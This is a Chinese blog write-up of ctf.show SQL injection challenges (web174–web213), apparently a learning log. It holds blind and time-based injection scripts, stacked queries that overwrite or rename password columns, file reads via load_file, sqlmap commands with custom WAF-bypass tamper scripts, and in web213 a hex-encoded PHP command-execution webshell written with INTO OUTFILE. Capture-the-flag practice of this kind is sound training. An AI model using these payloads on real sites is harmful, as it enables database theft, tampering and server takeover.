哦对了,这篇文章还没写完,更新中...
emmm又是好久没更新了...之后就在这里做个记录吧,有些新的思路可以做些分享
web174
看了一下,应该是有数字或者username=flag就不输出,主要是这个数字的限制有点烦,flag里面肯定是有数字的...
网上的wp很多用的布尔盲注,不过我当时还是想直接注出来,还是有办法的。
参考前面几道题,可以使用to_base64函数,对于一个字符而言,不管是数字还是字母,base64都是没有数字的。
所以,考虑一个一个注出来,利用substring函数依次截取单个字符,然后base64编码输出,再解码即可,python脚本如下:
注意,返回的是json数据,这里需要做处理才能抓到password字段,可以自行实践一下找到写法。
脚本输出flag
相关知识点:substring(字符串,起始位置,截取长度),从字符串的起始位置开始,截取指定长度的字符
web175
这道题一看好家伙,ascii码0-127都不能显示,就是没打算让我看呗~
两个解法:
第一个,最容易想到的,没有过滤,又是盲注,直接时间盲注~
知识点:if(条件,true执行返回,false执行返回)这个结构常用于时间盲注,条件成立就会执行第二个语句并且返回值,否则执行第三个语句返回值,一般在true语句中加上sleep(...)就可以明显判断出条件是否成立
如:if(ascii(substring((select password from ctfshow_user5 where username='flag'),1,1))>79,sleep(5),1),这一句话的意思就是:如果ascii(substring((select password from ctfshow_user5 where username='flag'),1,1))>79这个条件成立,就执行sleep(5)这个语句,否则返回1
有了这个就好办了,挨个爆破就行,利用二分法能快点,脚本如下:
对了,中间还遇到几个坑,一个是写url的时候直接写空格,会编码成加号的,不要自己写加号...
再一个,对于不同的请求,处理时间可能有所不同。我一开始把timeout设成了0.5,然后跑出来的结果是错的...后面看了一下,应该是我的请求需要处理时间比较长,所以即使有的时候没有执行sleep(5)也超时了...然后就把timeout改成了1,这才跑出来...
第二个解法,网页不是不显示结果吗,那就让结果显示在其他地方,利用into outfile可以指定输出结果到某个文件里,算是绕过盲注的又一个骚操作了...(群主大大yyds!)
然后访问ctf.txt即可
web176
说是过滤了哈,测了一下,万能密码可以直接出,用union select联合查询发现应该是select被过滤了,改成Select就行了
web177
测了一下,应该是过滤了空格,用%09(制表符)或者/**/注释符都可以绕过
可以用反引号引用列名(payload能短点)
例:select id,username,password from`ctfshow_user2`where`username`='flag'
web178
应该是不让用*号了,那就换一种绕过方法
上面的payload/**/换成%09就行(还可以用%0a,%0b,%0c,%0d)
web179
web180
过滤了#号,前面的%23没法用了,换成--加一个空格,空格用%0c代替即可
还有另外一个思路,就是不用空格和注释,直接查是可以返回一个值的,只是说被条件username!='flag'限制了并且后面还有limit 1限制返回个数,那可以用or单独设置一个查询条件,这样前面的限制就没有了,后面的就一个一个找就行了
web181、182
这两道题更狠,直接就不让用空格了...确实没办法, 上一题payload3还能用,其他的方法好像也没有了...
web183
这道题把等号还有空格都过滤掉了。
等号可以考虑用regexp匹配函数代替,然后空格可以用反引号还有括号把数据库名和字段名框起来就可以不用空格了
然后返回了查找到的数量,可以用来做一个盲注,匹配到了就会返回flag项。同时,注意先要把前缀设成flag的前几位ctfshow,不然可能会有其他项干扰
还有一个坑,就是SQL不区分大小写,我大意了,以为只是关键字不区分大小写,结果连匹配的时候都默认不区分...想忽略大小写匹配必须用regexp binary,然而我不能用空格...所以只能在查找的时候就不搜索大写(还是因为知道flag里面只有小写字母2333),这样就搜得出来正确flag了
脚本:
脚本输出flag
web184
这道题where没了,必须把条件语句整出来,不然没法做
两种方法:
方法1:用having,注意having必须在group by后面
格式:GROUP BY column_name HAVING aggregate_function(column_name) operator value;
例子:ctfshow_user group by pass having pass like(ctfshow%)
这道题因为过滤了引号,不能用ascii码匹配,可以用16进制~(没有现成的转换函数,得自己写)
脚本:
方法2:用right join自带的on条件语句
用法:SELECT column_name(s) FROM table1 RIGHT JOIN table2 ON condition;
脚本:
web185-web186
这道题比上一道题多过滤了数字,所以需要绕过,考虑使用true(true=1),然后本题*被过滤了,所以只能一个一个加了...
前缀ctfshow提前写到payload里,避免其他项干扰
我写的脚本还麻烦了点,可以直接写一个在生成对应字母的payload的函数,借用一下k1he师傅的函数:
web187
这道题是md5注入,原理这篇文章讲得很清楚:
题目要求用户名是admin,密码就写ffifdyop,提交抓包就能拿到flag了
web188
sql语句:
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username}";
waf代码:
//用户名检测 if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==intval($password)){ $ret['msg']='登陆成功'; array_push($ret['data'], array('flag'=>$flag)); }
这道题本来一开始考虑的是is_numeric函数的问题,这个函数用于判断一个数是不是数字,是有漏洞的。对于有的16进制数也可以判断为真,正好结合SQL支持16进制的特性。不过这道题好像不支持16进制数,原因不明。
然后又想到前面都有名字叫admin的数据,传了username=admin&&password=0,不过估计是改了名字,username=admin没查到数据。
正确做法是利用mysql的弱比较特性,对于一个类型为string的字段来说,如果查询值为数字,会将字段值转化为数字再进行比较,字符串转化为数字0,这一点跟php是很像的。
于是username写0,password写0,就一定可以保证查到数据了,然后字符串转0弱比较登陆成功。
还有一种方法,username过滤了and和or,这两个关键词可以用&&和||运算符绕过。所以username还可以写成1||1,同样得到flag
web189
waf代码:
//用户名检测 if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; }
这道题想试试上一道题的方法结果不太行,因为登陆成功也不给flag了。试了一下username=0的时候回显“密码错误”,username=1的时候回显“查询失败”,那这个可以用来盲注。
这里有一点小小的感悟:好像SQL注入要么就是直接注入,要么就是利用回显不同构造条件语句盲注~
题目提示flag在api/index.php中,盲猜在/var/www/html/目录下,SQL读文件函数load_file(),详解见这里:
,并且单引号都没过滤,那直接上脚本了。我的脚本又稍微麻烦了一点,我是直接爆的整个文件,找flag位置要找半天。这里完全可以用regexp函数进行匹配就简单很多~
改进脚本:
web190
这道题表名变了...卡了好久
要从头开始,爆数据库名,爆表名,爆列名,爆flag:
import requests url = 'http://2e5ebc6b-f05d-48e5-b9c3-7dd6686f7e47.challenge.ctf.show/api/' temp_name = "" mid = 0 for j in range(1, 100): # 搞清楚head和tail的意义是可能的取值范围,mid是当前的检验值,二分法 head = 32 tail = 127 while (1): mid = (head + tail) // 2 if (head == tail): break params = { 'username': "admin111\' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{})#".format( j, mid), #爆表名 "admin111' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#" #爆列名 "admin111' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\'),{},1))>{})#" #爆flag "admin111' or (ascii(substr((select f1ag from ctfshow_fl0g),{},1))>{})#" 'password': "0" } print(params) r = requests.post(url=url, data=params) if "u8bef" in r.text: head = mid + 1 else: tail = mid print(mid) temp_name += chr(mid) print(temp_name)
web191
过滤了ascii,换成ord就行了
web192
这道题过滤了ord,但是其实ascii/ord/char这三个函数都可以写等效查询语句的。脚本如下:
import requests url = 'http://b0a5f26f-fed9-4d4f-a260-ef013113d778.challenge.ctf.show/api/' temp_name = "" mid = 0 for j in range(1, 100): # 搞清楚head和tail的意义是可能的取值范围,mid是当前的检验值,二分法 head = 32 tail = 127 while (1): mid = (head + tail) // 2 if (head == tail): break params = { 'username': "admin111' or (substr((select f1ag from ctfshow_fl0g),{},1)>char({}))#".format( j, mid), 'password': "0" } print(params) r = requests.post(url=url, data=params) if "u8bef" in r.text: head = mid + 1 else: tail = mid print(mid) temp_name += chr(mid) print(temp_name.lower())
(这道题flag格式好像变了哈)(没变没变,最后要转成小写...)
也可以用regexp匹配~
web193
substr不能用了,可以用left代替截取,不过其实直接匹配好像就可以了,注意表名又变了
脚本:
import requests url = 'http://036c6fc3-83cc-444c-9231-2288ee4cc7ce.challenge.ctf.show/api/' temp_flag = "" letter = "-_0123456789abcdefghijklmnopqrstuvwxyz{}," i = 0 while (1): i = i + 1 for j in letter: params = { 'username': "admin111' or if((select f1ag from ctfshow_flxg)regexp('^{}'),1,0)#".format( temp_flag + j), # select database() 爆数据库名 ctfshow_web # 爆表名 ctfshow_flxg # 爆列名 # payload : admin111' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')regexp('^{}'),1,0)# # id,f1ag # 爆flag # payload : admin111' or if((select f1ag from ctfshow_flxg)regexp('^{}'),1,0)# 'password': '0'} print(params) r = requests.post(url=url, data=params) # print(r.text) if "u8bef" in r.text: temp_flag += j print(temp_flag) if (j == '}'): exit(0) break
还有一种方法,substr函数可以直接用mid函数代替,效果完全相同,只需要注意表名变了就行
web194
上一题脚本照抄就行,没有任何影响
SQL注入做麻了,先换个题少点的题型做,做完了再回来做SQL注入,先咕着
不咕了不咕了
web195
//密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
这道题是堆叠注入,没有禁用分号,还没有禁用update语句,所以可以考虑使用分号+update语句把所有的密码改成1
1;update`ctfshow_user`set`pass`=1;
然后为了保证能查到用户名,可以有两种方式:
一是直接猜用户名为admin的用户,不过需要考虑字符串要用引号包起来的情况,那就用16进制绕过就行了
payload:username:0x61646d696e
password:1
二是利用SQL弱相等,见web188
payload:username:0
password:1
web196
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if(strlen($username)>16){ $ret['msg']='用户名不能超过16个字符'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
这里是自定义了SQL的注入结果,说是ban了select其实没有ban,可以在后面一句话使用select(1)作为查询到的密码
payload:
username:1;select(1) password:1
WEB197-198
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
这道题我甚至都没有看到没过滤空格...
update和select都没了,那可以考虑使用insert语句...
33;INSERT`ctfshow_user`(`username`,`pass`)VALUES(1,1);
然后username和password都设成1就行了
甚至可以再简化,直接
INSERT INTO tbl_name VALUES(expr, expr, expr...)
这种格式也是可以的
还有一种做法,就是alter table,username还是admin的十六进制,pass字段变成了原来的id,更好爆破一些(这里直接是1)
payload:
0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` varchar(255);
WEB199-200
这道题过滤了括号,不过有两种方法可以绕过:
第一种,其实alter table那条语句只有varchar(255)中的括号被过滤了,那我们可以使用text类型代替
payload:
username:0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text;
第二种,也可以参照之前select的想法,其实只需要有输出就可以了,那我们也不一定要用select,用show tables也可以~
username:1;show tables; password:ctfshow_user
WEB201
开始练习sqlmap的使用了~
跟ua有关,首先是抓个包看一看ua的情况
python3 sqlmap.py --proxy="http://127.0.0.1:8080"
直接注啥也没有,那就重放sqlmap的包看一下结果
根据提示,看来对referer是有校验的。那指定referer为ctf.show就行了
python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" #测试注入点 python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -dbs #数据库名 python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -tables #表名 python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" -columns #列名 python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" -C "pass" --dump #pass列值 #也可以不指定列名,直接把整个数据库都dump下来 python3 sqlmap.py -u http://c8f29cac-9054-401b-8850-8d1e4ce717d9.challenge.ctf.show/api/\?id\=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump
WEB202
要求参数换成POST方式提交,可以用--data参数指定
python3 sqlmap.py -u http://7b061627-8bf2-4e88-bdde-041b46f02825.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" python3 sqlmap.py -u http://7b061627-8bf2-4e88-bdde-041b46f02825.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D "ctfshow_web" -tables python3 sqlmap.py -u http://7b061627-8bf2-4e88-bdde-041b46f02825.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump
三条指令一把梭
WEB203
要更换http访问方法,用--method指定方法为PUT,注意有个坑就是url要指定到index.php,应该是在nginx配置里面对目录的访问方法做了限制但是对文件没有
python3 sqlmap.py -u http://571801fc-7ad6-4a09-bfd3-b1381b39193f.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" -batch -D "ctfshow_web" -T "ctfshow_user" --dump
WEB204
用--cookie提交cookie即可
python3 sqlmap.py -u http://4aa3c476-1a66-4f88-af25-cca19f831251.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="PHPSESSID=4u736t4s2urn6glprg733emivf; ctfshow=7d3e4a10c687e5f7a6453cd5cdc5a842" -batch -D "ctfshow_web" -T "ctfshow_user" --dump
WEB205
每次访问之前要先访问一下/api/getToken.php才能进行查询,所以就用burp一直访问着,然后正常跑就行了,注意这次flag换了个表,在ctfshow_flax
python3 sqlmap.py -u http://014cdc4d-ae8a-44c7-8694-3857a1928e8f.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=a1bj4q2tt2hhlmk8cq62sa0t6f" -batch -D ctfshow_web -T ctfshow_flax -dump
或者也可以用--safe-url指定查询前先访问的url,--safe-freq=1指定每次查询前访问一次
python3 sqlmap.py -u http://014cdc4d-ae8a-44c7-8694-3857a1928e8f.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=a1bj4q2tt2hhlmk8cq62sa0t6f" -batch -D ctfshow_web -T ctfshow_flax -dump --safe-url=http://014cdc4d-ae8a-44c7-8694-3857a1928e8f.challenge.ctf.show/api/getToken.php --safe-freq=1
WEB206
sqlmap会自己判断闭合,跟上题一样
WEB207
这道题过滤了空格,--tamper参数指定你可以用来绕过waf的函数,可以自己编写
我自己写的脚本:
#!/usr/bin/env python from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): payload=payload.replace(' ','/**/') return payload
注意,这里有一个依赖的问题,需要引入sqlmap自带的lib,如果不做说明python会自动引入python库中的lib,但其实我们需要的不是这个,当然sqlmap运行的时候会识别出来,但是我们在IDE里面测试的时候就不行了。
解决方案:
暂时性的在sys.path中引入sqlmap自带的lib,在最前面加上这两句:
import sys sys.path.insert(0,"D:\\CTF\\hacktools\\sqlmap-1.6") #这里写你自己的sqlmap目录,注意不是lib目录
还有一种方法,sqlmap自带的space2comment.py模板也可以解决这一问题
payload:
python3 sqlmap.py -u http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=elmskiokdrbepu5e8l3gqgmb7c" -batch -D "ctfshow_web" -T "ctfshow_flaxca" -dump --tamper=my.py --safe-url=http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/getToken.php --safe-freq=1
或者:
python3 sqlmap.py -u http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=elmskiokdrbepu5e8l3gqgmb7c" -batch -D "ctfshow_web" -T "ctfshow_flaxca" -dump --tamper=space2comment.py --safe-url=http://54327700-8818-4b04-87c7-36fde9f57384.challenge.ctf.show/api/getToken.php --safe-freq=1
参考Lxxx师傅的博客,各脚本用途如下:
序号 | 脚本名称 | 注释 |
---|---|---|
1 | 0x2char | 将每个编码后的字符转换为等价表达 |
2 | apostrophemask | 单引号替换为Utf8字符 |
3 | apostrophenullencode | 替换双引号为%00%27 |
4 | appendnullbyte | 有效代码后添加%00 |
5 | base64encode | 使用base64编码 |
6 | between | 比较符替换为between |
7 | bluecoat | 空格替换为随机空白字符,等号替换为like |
8 | chardoubleencode | 双url编码 |
9 | charencode | 将url编码 |
10 | charunicodeencode | 使用unicode编码 |
11 | charunicodeescape | 以指定的payload反向编码未编码的字符 |
12 | commalesslimit | 改变limit语句的写法 |
13 | commalessmid | 改变mid语句的写法 |
14 | commentbeforeparentheses | 在括号前加内联注释 |
15 | concat2concatws | 替换CONCAT为CONCAT_WS |
16 | equaltolike | 等号替换为like |
17 | escapequotes | 双引号替换为\\ |
18 | greatest | 大于号替换为greatest |
19 | halfversionedmorekeywords | 在每个关键字前加注释 |
20 | htmlencode | html编码所有非字母和数字的字符 |
21 | ifnull2casewhenisnull | 改变ifnull语句的写法 |
22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) |
23 | informationschemacomment | 标示符后添加注释 |
24 | least | 替换大于号为least |
25 | lowercase | 全部替换为小写值 |
26 | modsecurityversioned | 空格替换为查询版本的注释 |
27 | modsecurityzeroversioned | 添加完整的查询版本的注释 |
28 | multiplespaces | 添加多个空格 |
29 | nonrecursivereplacement | 替换预定义的关键字 |
30 | overlongutf8 | 将所有字符转义为utf8 |
31 | overlongutf8more | 以指定的payload转换所有字符 |
32 | percentage | 每个字符前添加% |
33 | plus2concat | 将加号替换为concat函数 |
34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} |
35 | randomcase | 字符大小写随机替换 |
36 | randomcomments | /**/分割关键字 |
37 | securesphere | 添加某字符串 |
38 | sp_password | 追加sp_password字符串 |
39 | space2comment | 空格替换为/**/ |
40 | space2dash | 空格替换为–加随机字符 |
41 | space2hash | 空格替换为#加随机字符 |
42 | space2morecomment | 空格替换为/**_**/ |
43 | space2morehash | 空格替换为#加随机字符及换行符 |
44 | space2mssqlblank | 空格替换为其他空符号 |
45 | space2mssqlhash | 空格替换为%23%0A |
46 | space2mysqlblank | 空格替换为其他空白符号 |
47 | space2mysqldash | 空格替换为–%0A |
48 | space2plus | 空格替换为加号 |
49 | space2randomblank | 空格替换为备选字符集中的随机字符 |
50 | symboliclogical | AND和OR替换为&&和|| |
51 | unionalltounion | union all select替换为union select |
52 | unmagicquotes | 宽字符绕过GPC |
53 | uppercase | 全部替换为大写值 |
54 | varnish | 添加HTTP头 |
55 | versionedkeywords | 用注释封装每个非函数的关键字 |
56 | versionedmorekeywords | 使用注释绕过 |
57 | xforwardedfor | 添加伪造的HTTP头 |
WEB208
这道题把小写select换成了空,但是sqlmap都是用的大写SELECT,所以其实跟上题没区别。也可以自己写脚本把SELECT变成selselectect,双写绕过
WEB209
这道题过滤了空格,*和=,sqlmap官方模板没有能用的,那就自己写!
注意一个小问题,由于使用的是PUT方法,Content-Type必须是text/plain,所以在POST的参数中不需要url编码,如果Content-Type是application/x-www-form-urlencoded才需要编码,详见:http - Why do request parameters sent in request body need to be URL encoded? - Stack Overflow
脚本:(借鉴Lxxx师傅的)
#!/usr/bin/env python import urllib.parse from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): payload = payload.replace('count(*)', 'count(id)') payload = payload.replace(" ", chr(0x0a)) payload = payload.replace("=", chr(0x0a) + "like" + chr(0x0a)) #等号用like绕过 return payload
WEB210
脚本:
#!/usr/bin/env python import base64 import urllib.parse from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): payload = payload[::-1] payload = base64.b64encode(payload.encode()) payload = payload[::-1] payload = base64.b64encode(payload) return payload.decode()
注意python的字符串翻转,详见Python 中的 [:-1] 和 [::-1] (runoob.com)
WEB211
多过滤了个空格,先用注释符换了就行,脚本:
#!/usr/bin/env python import base64 import urllib.parse from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): payload = payload.replace(' ','/**/') payload = payload[::-1] payload = base64.b64encode(payload.encode()) payload = payload[::-1] payload = base64.b64encode(payload) return payload.decode()
WEB212
过滤了*,换一个就行
脚本:
#!/usr/bin/env python import base64 import urllib.parse from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): payload = payload.replace(' ',chr(0x0a)) payload = payload[::-1] payload = base64.b64encode(payload.encode()) payload = payload[::-1] payload = base64.b64encode(payload) return payload.decode()
另外,也可以直接dump所有数据库数据
python3 sqlmap.py -u http://bd72cdfe-2da0-4337-a1ad-96e72d8d7c80.challenge.ctf.show/api/index.php --data="id=1" --referer=ctf.show --method="PUT" --headers="Content-Type: text/plain" --cookie="UM_distinctid=17f3dd36dc19e3-0bb8dccb79a45a-4e607a6f-144000-17f3dd36dc29fc; PHPSESSID=1g06pvsu3a2cr9hb89461dsbui" -batch -dbs -dump --tamper=my.py --safe-url=http://bd72cdfe-2da0-4337-a1ad-96e72d8d7c80.challenge.ctf.show/api/getToken.php --safe-freq=1 --proxy="http://127.0.0.1:8080"
web213
不知道为啥shell拿不到...先摆了拿到了拿到了
其实这道题很简单,就是加一个--os-shell选项就行了,不过我出现了一些神必问题...
?我文件上传的php都传上去了你告诉我真正的shell没传上去?
虽然可以直接访问文件上传的php然后手动把shell传上去,但是最后一下确实恶心人...本着追根究底的精神,我去找了一下出现这个问题的原因
问题应该是出现在上传shell文件的时候,那就burp抓包把payload弄下来看,是这样的
1' LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpbzzrb.php' LINES TERMINATED BY 0x3c3f7068702024633d245f524551554553545b22636d64225d3b407365745f74696d655f6c696d69742830293b4069676e6f72655f757365725f61626f72742831293b40696e695f73657428226d61785f657865637574696f6e5f74696d65222c30293b247a3d40696e695f676574282264697361626c655f66756e6374696f6e7322293b69662821656d70747928247a29297b247a3d707265675f7265706c61636528222f5b2c205d2b2f222c272c272c247a293b247a3d6578706c6f646528272c272c247a293b247a3d61727261795f6d617028227472696d222c247a293b7d656c73657b247a3d617272617928293b7d24633d24632e2220323e26315c6e223b66756e6374696f6e206628246e297b676c6f62616c20247a3b72657475726e2069735f63616c6c61626c6528246e29616e6421696e5f617272617928246e2c247a293b7d69662866282273797374656d2229297b6f625f737461727428293b73797374656d282463293b24773d6f625f6765745f636c65616e28293b7d656c736569662866282270726f635f6f70656e2229297b24793d70726f635f6f70656e2824632c617272617928617272617928706970652c72292c617272617928706970652c77292c617272617928706970652c7729292c2474293b24773d4e554c4c3b7768696c65282166656f662824745b315d29297b24772e3d66726561642824745b315d2c353132293b7d4070726f635f636c6f7365282479293b7d656c73656966286628227368656c6c5f657865632229297b24773d7368656c6c5f65786563282463293b7d656c736569662866282270617373746872752229297b6f625f737461727428293b7061737374687275282463293b24773d6f625f6765745f636c65616e28293b7d656c7365696628662822706f70656e2229297b24783d706f70656e2824632c72293b24773d4e554c4c3b69662869735f7265736f7572636528247829297b7768696c65282166656f6628247829297b24772e3d66726561642824782c353132293b7d7d4070636c6f7365282478293b7d656c7365696628662822657865632229297b24773d617272617928293b657865632824632c2477293b24773d6a6f696e28636872283130292c2477292e636872283130293b7d656c73657b24773d303b7d6563686f223c7072653e24773c2f7072653e223b3f3e-- -
看起来没啥问题,那就创建一个数据库执行一下,结果报错了:
看来是注释的问题,仔细看看,发现问题了
我自己写的my.py为了绕过空格过滤,把所有空格直接都变成了换行符。前面几道题都没啥问题因为前面的payload用的都是#作为注释符,但是偏偏这最后一步的payload用的是--+,于是--后面的空格也被我变成了\n,格式就不对了...
解决方法也很简单,把注释符换成#就行了
脚本:
#!/usr/bin/env python import base64 from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal="" for i in xrange(len(payload)): if payload[i:i+3]=='-- ': retVal+='#' #换注释符 break elif payload[i]==' ': retVal+=chr(0x0a) else: retVal+=payload[i] retVal = retVal[::-1] retVal = base64.b64encode(retVal.encode()) retVal = retVal[::-1] retVal = base64.b64encode(retVal) return retVal.decode()
再运行,成功拿到shell~
本篇文章参考了三位师傅的博客:
在此表示感谢~
参考资料:
文章评论
文章写的不错,加油~